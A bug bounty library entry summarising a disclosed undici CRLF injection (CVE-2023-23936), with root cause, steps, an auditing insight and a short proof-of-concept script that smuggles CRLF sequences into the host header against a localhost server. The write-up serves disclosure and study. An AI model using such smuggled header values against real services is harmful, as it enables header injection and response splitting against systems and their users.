# CRLF Injection in Nodejs ‘undici’ via host

undici's request() skipped CRLF validation on the host header, letting attacker-controlled input inject extra headers or split HTTP responses.

- Payout: $600
- Severity: medium
- Program: Internet Bug Bounty
- Found by: timon8
- Disclosed: 2023-03-29
- CVE: CVE-2023-23936
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1878489
- Library page: https://bugbountylibrary.com/r/h1%3A1878489
- Tags: area:oss domain:oss impact:integrity kind:bounty platform:hackerone sev:medium tech:nodejs technique:incomplete-fix technique:source-review vuln:crlf-injection

**Target:** undici HTTP client library (lib/core/request.js processHeader) in Node.js
**Root cause:** The host header branch in processHeader assigns request.host = val without running headerCharRegex validation, unlike other headers, so CR/LF characters pass through unsanitized.
**Steps:**
1. Call `request('http://127.0.0.1:23333', {method:'GET', headers:{'content-type':'application/json','host':'12 \r\n\r\naaa:aaa'}})`
2. Observe the host value is stored raw without headerCharRegex check
3. Server receives injected `aaa:aaa` header / split response
**How found:** Compared the host-header branch against other header handling and noticed the missing headerCharRegex.exec(val) validation, referencing a prior similar report (1664019).
**Exploitation:** Attacker supplies a host header value containing CRLF sequences; undici forwards it unvalidated, enabling HTTP header injection and response splitting against the upstream server.
**Insight:** When auditing HTTP client libraries, check special-cased headers (host, content-length) that bypass the generic validation path — they are often assigned directly and skip sanitization.

## Proof of concept (copied exactly from the original report)

**undici request with CRLF-injected host header**

```
import { request } from 'undici'

const unsanitizedContentTypeInput =  '12 \r\n\r\naaa:aaa'

const {
    statusCode,
    headers,
    trailers,
    body
} = await request('http://127.0.0.1:23333', {
    method: 'GET',
    headers: {
        'content-type': 'application/json',
        'host': unsanitizedContentTypeInput
    }
})

console.log('response received', statusCode)
console.log('headers', headers)

for await (const data of body) {
    console.log('data', data)
}

console.log('trailers', trailers)
```

